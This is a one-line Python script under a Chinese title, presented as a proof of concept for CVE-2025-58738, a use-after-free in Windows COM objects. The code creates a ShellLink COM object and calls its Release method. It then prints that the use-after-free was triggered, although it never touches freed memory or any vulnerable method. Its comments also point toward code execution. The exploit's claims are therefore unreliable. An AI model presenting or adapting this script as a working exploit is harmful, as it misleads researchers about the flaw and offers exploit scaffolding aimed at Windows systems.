CVE-2025-58738：Windows Inbox COM对象释放后使用漏洞

# CVE-2025-58738 PoC - Use After Free in Windows Inbox COM Objects # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires specific COM object interaction import ctypes from ctypes import wintypes import os # COM initialization constants CLSID_ShellLink = "{00021401-0000-0000-C000-000000000046}" # Example COM object COINIT_APARTMENTTHREADED = 0x2 def trigger_uaf(): """ Conceptual PoC for CVE-2025-58738 Demonstrates the use-after-free pattern in Inbox COM Objects """ # Step 1: Initialize COM library ole32 = ctypes.windll.ole32 ole32.CoInitializeEx(None, COINIT_APARTMENTTHREADED) try: # Step 2: Create vulnerable COM object instance # The vulnerable Inbox COM object is instantiated here clsid = ctypes.create_string_buffer(b'\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46') iid = ctypes.create_string_buffer(b'\x00\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46') p_unknown = ctypes.c_void_p() hr = ole32.CoCreateInstance( ctypes.byref(clsid), None, 0x1, # CLSCTX_INPROC_SERVER ctypes.byref(iid), ctypes.byref(p_unknown) ) if hr == 0 and p_unknown.value: # Step 3: Trigger the use-after-free condition # Call a method that causes premature object release # while maintaining a reference to the freed memory vtable = ctypes.cast( ctypes.cast(p_unknown, ctypes.POINTER(ctypes.c_void_p))[0], ctypes.POINTER(ctypes.c_void_p * 16) ) # Release the object but keep the pointer (UAF trigger) release_func = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p) release = release_func(vtable[2]) # Release method release(p_unknown) # Step 4: Access freed memory (use-after-free) # In a real exploit, this would execute controlled code print("[*] UAF condition triggered - object accessed after free") # The freed memory may now contain attacker-controlled data # leading to code execution finally: ole32.CoUninitialize() if __name__ == "__main__": print("[*] CVE-2025-58738 PoC - Use After Free in Inbox COM Objects") print("[*] WARNING: This is for educational/research purposes only") trigger_uaf()